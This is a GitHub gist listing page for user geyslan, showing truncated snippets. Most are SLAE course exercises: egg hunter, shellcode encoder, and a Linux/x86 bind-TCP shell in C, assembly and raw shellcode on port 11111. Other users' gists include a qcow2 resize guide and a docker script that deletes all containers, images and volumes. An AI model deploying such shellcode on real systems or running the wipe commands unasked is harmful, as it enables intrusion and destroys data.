Skip to content

Instantly share code, notes, and snippets.

View geyslan's full-sized avatar
🚲
...

Geyslan Gregório geyslan

🚲
...
View GitHub Profile
@joseluisq
joseluisq / resize_disk_image.md
Last active May 17, 2024 22:39
How to resize a qcow2 disk image on Linux

How to resize a qcow2 disk image on Linux

This example takes olddisk.qcow2 and resizes it into newdisk.qcow2, extending one of the guest's partitions to fill the extra space.

1. qcow2 format

1.1. Verify the filesystems of olddisk.qcow2

@StephanWagner
StephanWagner / docker-cleanup.sh
Created September 12, 2019 09:02
Prune docker system and remove all containers, images, volumes with one command.
docker system prune
docker container stop $(docker container ls -aq)
docker container rm $(docker container ls -aq)
docker rmi $(docker images -aq)
docker volume prune
@geyslan
geyslan / insertion_encoder.py
Last active May 26, 2018 23:04
Multi-pattern Insertion Shellcode Encoder - Python Language - forlife
# This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/4th.assignment/insertion_encoder.py
#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys
import getopt
import string
@geyslan
geyslan / egg_hunter_shellcode.c
Last active December 3, 2021 19:59
Egg Hunter Shellcode - C Language - Linux/x86 - forlife
// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/3rd.assignment/egg_hunter_shellcode.c
#include <stdio.h>
#include <string.h>
unsigned char egg[] = \
// Write "Egg Mark" and exit
"\x90\x50\x90\x50" // <- First Four Bytes of Signature
@geyslan
geyslan / egg_hunter.asm
Last active November 27, 2023 06:41
Egg Hunter in Assembly Language - Linux/x86 - forlife
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/3rd.assignment/egg_hunter.asm
global _start
section .text
_start:
; setting the registers
cld ; clear the direction flag (DF) to use scasd correctly
xor ecx, ecx
@geyslan
geyslan / shellcode.c
Last active May 26, 2018 23:00
Shell Bind TCP Shellcode (Linux/x86) - forlife
// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shellcode.c
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x66\xbd"
"\x2b\x67" /* <- Port number 11111 (2 bytes) */
"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89"
@geyslan
geyslan / shell_bind_tcp_shellcode.asm
Last active May 26, 2018 23:00
Shell Bind TCP Shellcode in Assembly (Linux/x86) - forlife
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shell_bind_tcp_shellcode.asm
global _start
section .text
_start:
; Setting port number
@geyslan
geyslan / shell_bind_tcp.c
Last active June 7, 2022 01:30
Shell Bind TCP in C Language (Linux/x86) - forlife
// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shell_bind_tcp.c
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
@geyslan
geyslan / shell_bind_tcp.asm
Last active October 7, 2023 10:00
Shell Bind TCP in Assembly (Linux/x86) - forlife
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shell_bind_tcp.asm
global _start
section .text
_start:
; syscalls (/usr/include/asm/unistd_32.h)
; socketcall numbers (/usr/include/linux/net.h)